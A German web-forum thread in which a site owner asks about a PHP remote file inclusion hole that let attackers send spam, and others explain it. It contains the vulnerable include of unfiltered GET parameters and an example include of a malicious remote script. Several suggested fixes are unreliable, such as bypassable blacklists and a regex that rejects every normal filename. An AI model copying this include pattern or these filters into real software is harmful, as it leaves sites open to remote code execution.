Antworten auf deine Fragen:
Neues Thema erstellen

Sicherheitslücke PHP

ill66

Nicht mehr ganz neu hier

Ich hab vor einem Jahr ein von mir erstelltes Webdesign auf PHP (wovon ich nur seeehr begrenzt Ahnunghabe) umgebaut.
Das hat mir die Arbeit zunächst sehr erleichtert (was Aktualisierung, Erweiterung und dergleichen betrifft).

Jetzt gibt es aber seit einiger Zeit Sicherheitsprobleme damit :(
Zuerst war es ein Trojaner - da wurde fremder Code in sämtliche CSS-Dateien geschrieben. Das konnte ich aber noch beheben durch löschen und Passwort-Änderung.

Jetzt treten aber wiederholt Probleme mit den PHP-Dateien auf.
Uns erreichten u.a. folgende Nachrichten vom Provider:

1.2 Eine große Anzahl von Spam ist von dem folgendem Skript versendet
worden:

./GZ/us_angebot.php

Wir haben die oben genannten Dateien gesperrt.

2 Hinweise zur Absicherung
Um die Sicherheit Ihres 1&1 Webspaces wiederherzustellen, gehen Sie nun wie
folgt vor:

2.1 Löschen Sie die oben genannten Dateien. (...)
2.2 Schließen Sie alle Sicherheitslücken in Ihrer Software. Prüfen Sie die Sicherheit der folgenden Skripte an den angebenen Variablen. Sie haben den Angreifern wahrscheinlich als Einfallstor gedient:

Hits /Script $Variable(s)
261 /us_angebot.php $content
218 /main.php $seite
28 /us_arbeit.php $content
15 /us_mitarb.php $content

Ihr 1&1 Webspace ist erneut über eine Sicherheitslücke in Ihrer Software angegriffen und missbraucht worden. (...)

2. Untersuchen Sie Ihren gesamten 1&1 Webspace auf weitere fremde Dateien, die während des Angriffs abgelegt wurden. Löschen Sie diese unverzüglich.

Zwischenzeitlich hatte ich auf gut Glück versucht, alle Ordenr und Dateien auf readonly zu schalten, hat aber nichts gebracht.

Fremde Dateien sind, soweit ich das seh, nicht mehr auf dem Server und fremden Code konnte ich in benannten Dateien auch nicht entdecken.

Die betroffenen Dateien einfach löschen kann ich auch nicht - dann funzt die Seite ja nicht mehr richtig. :(

Was meinen 1&1 konkret mit "Schließen Sie alle Sicherheitslücken in Ihrer Software. Prüfen Sie die Sicherheit der folgenden Skripte an den angebenen Variablen." ?

Ich hoffe, ihr könnt mir weiterhelfen.... :\
 

Duddle

Posting-Frequenz: 14µHz

AW: Sicherheitslücke PHP

Es gibt in einem Script, wie in der meisten Software, genügend viele Angriffspunkte, um dir hier keine gezielte Antwort geben zu können.

Benutzt du ein fertiges Script? Oder hast du dir selbst was geschrieben?
Für ersteren Fall: schau nach ob der Schreiber eine neuere Version hat, wenn nicht: versuch eine Alternative zu finden, die noch gepflegt wird. Für letzteren Fall: wenn es nicht allzu riesig ist, kannst du das hier ja mal posten, sofern du es erlaubst. Besonders in Formularen gibt es einige Kniffe, die du beherrschen musst um ein halbwegs nicht-angreifbares Mailversand-Formular zu bekommen.


Duddle
 

ill66

Nicht mehr ganz neu hier

AW: Sicherheitslücke PHP

Benutzt du ein fertiges Script? Oder hast du dir selbst was geschrieben?
Also genaugenommen stammt das von DocUhu, dir, Poddn und Flash^^ - siehe Link im Eingangsposting.

wenn es nicht allzu riesig ist, kannst du das hier ja mal posten, sofern du es erlaubst.
Ja, kann ich machen, wenn ich wieder zu Hause bin (grad auf Arbeit ;) )... aber öffnet das dann nicht entgültig alles an Tür und Tor für böse Menschen?!^^°

@CIX:
Hm, ich versteh nicht allzu viel von der verlinkten Seite. Da ist viel die Rede von Datenbanken - eine solche verwende ich bei besagter Seite aber überhaupt nicht; kann das trotzdem auf mich zutreffen?
 

CIX88

Aktives Mitglied

AW: Sicherheitslücke PHP

Ich weis doch nicht, was du alles bei deiner Website benutzt. Fakt ist aber, dass alle Dinge die hier angesprochen wurden auch mit zu den Sicherheitslücken gehören.
 

ill66

Nicht mehr ganz neu hier

AW: Sicherheitslücke PHP

Na meine Frage bezüglich dem Wiki-Artikel war doch einfach, ob die dort angesprochene Sicherheitslücke Datenbank-Einsatz voraussetzt....


Hier also mal der Code einer betroffenen PHP-(Unter-Unter-)Seite:
HTML:
<?php
    $uuseite = $_GET['content'];
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="de">
    <head>    
        (...)    
    </head>
    <body>
        (...)
                <div id="h1-bar"><h1><a href="main.php?seite=angebote.htm">Angebote</a></h1></div>
                <ul id="button">
                    <li><a href="main.php?seite=verein.htm">Verein</a></li>    
(...)
              </ul>
            </div>
                <div id="text">
                    <?php
                        include $uuseite
                    ?>
                    </div>
(...)
(Das was, ich da jetzt der Übersichtlichkeit halber ausgelassen hab, sind nur CSS-Container u.ä.)
 

ill66

Nicht mehr ganz neu hier

AW: Sicherheitslücke PHP

Achso und ich weiß nicht, ob das auch noch weiterhilft, aber hier noch das Gerüst der Hauptseite(n):

HTML:
<?php
    error_reporting(E_ALL);
    unset($unterseite);
    // Variable/Elemente
    $unterseite['verein.htm']='Verein|Der Verein';
    $unterseite['angebote.htm']='Angebote';
    (...)
    
    $standard='verein.htm'; //Standardseite festlegen

    // Ab hier nix mehr ändern!
    if(isset($_GET['seite']))$seite=strip_tags($_GET['seite']);
    else $seite=$standard;
    $nav="";
    $ueberschrift="";
    $titel="";
    // Variable/Elemente, oder wie auch immer das ...  Ende

    // Navigation erzeugen
    if(isset($unterseite) && count($unterseite)>=1)
    {
    $nav.="<ul id=\"button\">\n";
    foreach($unterseite as $key => $value)
        {
        $nav.="<li>";
        unset($spl_us);
        $spl_us=explode("|", $value);
        if($key==$seite)
            {
            if(isset($spl_us[1]))
                {
                $ueberschrift=htmlentities($spl_us[1]);
                $titel=htmlentities($spl_us[1]);
            }
            else
                {
                $ueberschrift=htmlentities($spl_us[0]);
                $titel=htmlentities($spl_us[0]);
            }    
                $nav.="<span>" . htmlentities($spl_us[0]) . "</span>";
                }
                else
                    {
                    $nav.="<a href=\"?seite=" . $key . "\">" . htmlentities($spl_us[0]) . "</a>";
                    }
                $nav.="</li>\n";
        }
       $nav.="<li>(...)</li></ul>\n";
    }
    // Navigation erzeugen ende
?>

    <!-- Beispiel Ausgabe: -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="de">
    <head>
        <meta http-equiv="content-type" content="text/html; charset=utf-8">    
        <title><?php echo $titel; ?></title>    
(...)    
    </head>
    <body>
                <h1><? echo $ueberschrift;?></h1>
    <? echo $nav;?>
            <div id="text">    
<!--Datei importieren-->
<?php    
    if(isset($unterseite[$seite]) && file_exists($seite))
       {
       include($seite);
    }
    else
        {
        echo 'Datei nicht gefunden!';
    }
    // Datei importieren Ende
?>
(...)
 

lukas001

Noch nicht viel geschrieben

AW: Sicherheitslücke PHP

Na meine Frage bezüglich dem Wiki-Artikel war doch einfach, ob die dort angesprochene Sicherheitslücke Datenbank-Einsatz voraussetzt....


Hier also mal der Code einer betroffenen PHP-(Unter-Unter-)Seite:
HTML:
<?php
    $uuseite = $_GET['content'];
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="de">
    <head>    
        (...)    
    </head>
    <body>
        (...)
                <div id="h1-bar"><h1><a href="main.php?seite=angebote.htm">Angebote</a></h1></div>
                <ul id="button">
                    <li><a href="main.php?seite=verein.htm">Verein</a></li>    
(...)
              </ul>
            </div>
                <div id="text">
                    <?php
                        include $uuseite
                    ?>
                    </div>
(...)
(Das was, ich da jetzt der Übersichtlichkeit halber ausgelassen hab, sind nur CSS-Container u.ä.)
Nun in der seite ist es möglich jede beliebige Seite als Teil deiner Seite zu includieren. Daher ist es auch möglich bösartigen PHP code auf deinem Webspace auszuführen. Du müsstest überprüfen ob es sich um eine Seite auf deinem Webspace handelt... wobei ich ehrlichgesagt von solchen Lösungen allgemein abraten würde!
Ich nehme mal an du Verwendest diese Seite wie ein Template,... da gibt es bessere bzw. sicherere Lösungen.
 

stroyer

Aktives Mitglied

AW: Sicherheitslücke PHP

oder du filterst einfach alles aus $uuseite raus, was nicht Buchstabe oder Punkt ist. Eventuell noch /, dann aber aufpassen, dass .. nicht erlaubt ist.
Ebenso könnte dir $_GET['seite'] auf dem selben Weg zum Verhängnis geworden sein.
 

ill66

Nicht mehr ganz neu hier

AW: Sicherheitslücke PHP

Nun in der seite ist es möglich jede beliebige Seite als Teil deiner Seite zu includieren. Daher ist es auch möglich bösartigen PHP code auf deinem Webspace auszuführen.
achso? :\

Du müsstest überprüfen ob es sich um eine Seite auf deinem Webspace handelt...
hm, wie meinst du? dass sich da eine fremde seite auf dem space befindet?
das ist nämlich, soweit ich das seh, nicht mehr der fall. es war in der vergangeheit allerdings mal so, da schickte 1&1 mir eine liste, wo ich diese dateien finde und wie die heißen (und dass ich sie löschen soll, was ich dann auch tat).

wobei ich ehrlichgesagt von solchen Lösungen allgemein abraten würde!
Ich nehme mal an du Verwendest diese Seite wie ein Template,... da gibt es bessere bzw. sicherere Lösungen.
wenn es sich irgendwie vermeiden lässt, will ich die site aber nicht noch mal komplett relaunchen :schmoll: die ist ziemlich umfangreich und mittlerweile arbeite ich gar nicht mehr wirklich in dem verein...
und der code wurde mir ja hier in der psd-community empfohlen - die sind doch eigentlich kompetent hier?!

@stroyer:
hööö? wie meinstn?^^°
 

stroyer

Aktives Mitglied

AW: Sicherheitslücke PHP

ich habe gemeint, dass es eigentlich genügen müsste, wenn du über den namen prüfst, wo die date liegt. denn wenn im dateinamen kein http oder www vorkommt, liegt die datei auf deinem server. ansonsten darf das script die date nicht inkludieren.
1+1 hat nur geschrieben, wo das loch ist, aber nicht von wo der exploit kommt.
 

saila

Moderatorle

AW: Sicherheitslücke PHP

Hi,

naja, das ist was den Code betrifft schon etwas rumgemurgse. Da wird weder geprüft ob die Übergabe entsprechenden Zeichen entspricht, noch ob ein Leerzeichen übergeben wird und was weis ich noch alles.

Eine Variante wäre:
PHP:
// Var deklarieren
$path        = '';
$fileLocal     = '';

// check GET['content']
if( isset(     $_GET['content'] ) && 
            trim( $_GET['content'] ) != '' && 
            !preg_match( '#[a-z]#i' , $_GET['content'] ) ) {
    
                $site = $_GET['content'];
                // lösche GET['content']
                unset( $_GET['content'] );
                
                // prüfe ob file vorhanden
                $path = '/dein/path/www/TemplateVerzeichnis/';
                // prüfe ob Datei vorhanden
                if( file_exists( $path . $site ) ) {
                    $fileLocal = $path . $site;
                } else {
                    $error = array(1 => 1, 2 => $path, 3 => $site);
                }
                
} else {
    /*
     * Ist innerhalb GET['content'] etwas nicht in Ordnung oder Sonderzeichen
     * leite weiter zur Fehlerseite
     */
    header('location: http://www.deine_domain.de/fehlerseite.html' );
    exit();
}

if( !$error ) {
    /*
     * ... weiter in deinem Script.....
     * jetzt kannst du irgendwo per include( $fileLocal );
     * die gewünsche Datei ausgeben lassen.
     */
} else {
    /*
     * Fehlerseite da dein Template nicht vorhanden oder nicht gefunden wurde
     * In dem Template fileerror.html kannst du den User bitten, den Fehler zu 
     * melden. Wenn nicht, setzt du in die PHP-Datei von fileerror das Auslösen
     * einer automatischen Mail an dich, das die und jene Seite nicht gefunden wurde.
     * Wobei du letzteres bereits hier direkt erledigen kannst und danach eine Weiterleitung
     * zur Infoseite für den User erfolgen lässt.
     */
    
    # mail auslösen mit fehlermeldung aus dem $error - Array
    //.... code für Mail
    
    # danach die Weiterleitung
    header('location: http://www.deine_domain.de/fileerror.html' );
    exit();
}
Von addslashes() oder htmlspecialchars() war hier noch nicht die Rede, was es jedoch ebenfalls einzubinden gilt! Und immer schön die Variablen am Ende des Scripts löschen.
 

lukas001

Noch nicht viel geschrieben

AW: Sicherheitslücke PHP

achso? :\


hm, wie meinst du? dass sich da eine fremde seite auf dem space befindet?
das ist nämlich, soweit ich das seh, nicht mehr der fall. es war in der vergangeheit allerdings mal so, da schickte 1&1 mir eine liste, wo ich diese dateien finde und wie die heißen (und dass ich sie löschen soll, was ich dann auch tat).


wenn es sich irgendwie vermeiden lässt, will ich die site aber nicht noch mal komplett relaunchen :schmoll: die ist ziemlich umfangreich und mittlerweile arbeite ich gar nicht mehr wirklich in dem verein...
und der code wurde mir ja hier in der psd-community empfohlen - die sind doch eigentlich kompetent hier?!
das Problem ist das du nicht überprüfst was für eine Datei da includiert wird. Und da der befehl
Code:
include "http://www.irgendwo.com/boeseseite.php";
korrekt ist kann mein recht einfach ein fremdes skript "in deinem Namen" also mit deinen Benutzerrechten,.... ausführen.

Du musst also sicherstellen, dass das nicht passieren kann. Dafür gibt es diverse möglichkeiten,... eine recht schnelle ist das du einfach den String untersuchst ob dieser mit http:// oder ftp:// beginnt. Es gibt aber auch noch diverse andere Möglichkeiten dies zu bewerkstelligen.
 

stroyer

Aktives Mitglied

AW: Sicherheitslücke PHP

im Prinzip genügt es, http:// , ftp:// , /..\ , \../ , \..\ zu entfernen.

aja, @saila, statt $path = '/dein/path/www/TemplateVerzeichnis/'; müsste auch $path=$_SERVER['DOCUMENT_ROOT']; gehen.
 
Zuletzt bearbeitet:

lukas001

Noch nicht viel geschrieben

AW: Sicherheitslücke PHP

im Prinzip genügt es, http:// , ftp:// , /..\ , \../ , \..\ zu entfernen.
Grundsätlich ja, aber dann ist es auch nicht mehr möglich in der eigenen Dokumentenstrucktur den Ordner zu wechslen.

Ich muss aber ehrlich gestehen das mir keine schnelle Lösung einfällt dieses Scheunentor an Sicherheitslücke komplett zu schließen. Zumal ja auch wenn du alle Dateien von Auswärts sperrst, dadurch jeder Angreifer sämtliche deiner Dateien auf dem Webspace nach belieben und mit beliebigen Variablen (POST und GET) ausführen kann.
Ich weiß zwar nicht wie der Rest deiner Software aufgebaut ist aber ich kann mir nicht vorstellen das da alles Abgefangen wird.

Du könntest natürlich noch den Referrer abfragen, Problem dabei ist nur, dass der Browserabhängig ist und nicht immer mitgesendet wird, da manche Browser ihn nicht mitsenden bzw. diese Funktion auch abgeschalten werden kann.
 

stroyer

Aktives Mitglied

AW: Sicherheitslücke PHP

vielleicht ist es auch möglich, eine Whitelist zu verwenden, also so zusagen nur Dateien erlauben, die in einer Liste stehen. Das Problem, das nach belieben jede Datei auf dem Server eingebunden werden kann sehe ich nicht so, da man diese Dateien sowieso direkt über den Browser aufrufen kann, was schlussendlich kaum einen Unterschied macht.
Ich gehe weiters davon aus, dass die Datei, die den include Befehl beinhaltet, im Root-Verzeichnis liegt bzw. kein Grund vorhanden ist, eine Datei, die in der Ordnerstruktur komplett woanders liegt, zu inkludieren.
 

ill66

Nicht mehr ganz neu hier

AW: Sicherheitslücke PHP

Erst mal danke für die rege Anteilnahme - auch wenn ich nur die Hälfte versteh, von dem was ihr schreibt^^° (ich hab wirklich fast keine Ahnung von PHP :\ )

Wegen der Unterordner-Sache: Es gibt aktuell auf der Seite 2 Grafiken, die aus einem Unterordner eingebunden werden, alles andere kommt aus dem Root-Verzeichnis...
 

saila

Moderatorle

AW: Sicherheitslücke PHP

Was meinst du mit "aja"? Natürlich kann man $_SERVER['DOCUMENT_ROOT'] ansatt nutzen. Besser wäre es einen Scriptansatz mitzuteilen, als in Vorschlägen evtl. Verbesserungen vorzunehmen die mehr als offensichtlich sind (deshalb ja ein Lösungsansatz) ;)

Verschafft euch mal Hintergrundwissen zu dem Thema an sich und baut nicht einen Würfel aus Karton den man auf die Straße stellt in der Hoffnung, das kein KFZ darüber saust.
 
Bilder bitte hier hochladen und danach über das Bild-Icon (Direktlink vorher kopieren) platzieren.
Antworten auf deine Fragen:
Neues Thema erstellen

Willkommen auf PSD-Tutorials.de

In unseren Foren vernetzt du dich mit anderen Personen, um dich rund um die Themen Fotografie, Grafik, Gestaltung, Bildbearbeitung und 3D auszutauschen. Außerdem schalten wir für dich regelmäßig kostenlose Inhalte frei. Liebe Grüße senden dir die PSD-Gründer Stefan und Matthias Petri aus Waren an der Müritz. Hier erfährst du mehr über uns.

Stefan und Matthias Petri von PSD-Tutorials.de

Nächster neuer Gratisinhalt

03
Stunden
:
:
25
Minuten
:
:
19
Sekunden

Flatrate für Tutorials, Assets, Vorlagen

Zurzeit aktive Besucher

Statistik des Forums

Themen
118.565
Beiträge
1.538.067
Mitglieder
67.488
Neuestes Mitglied
Andrew56524
Oben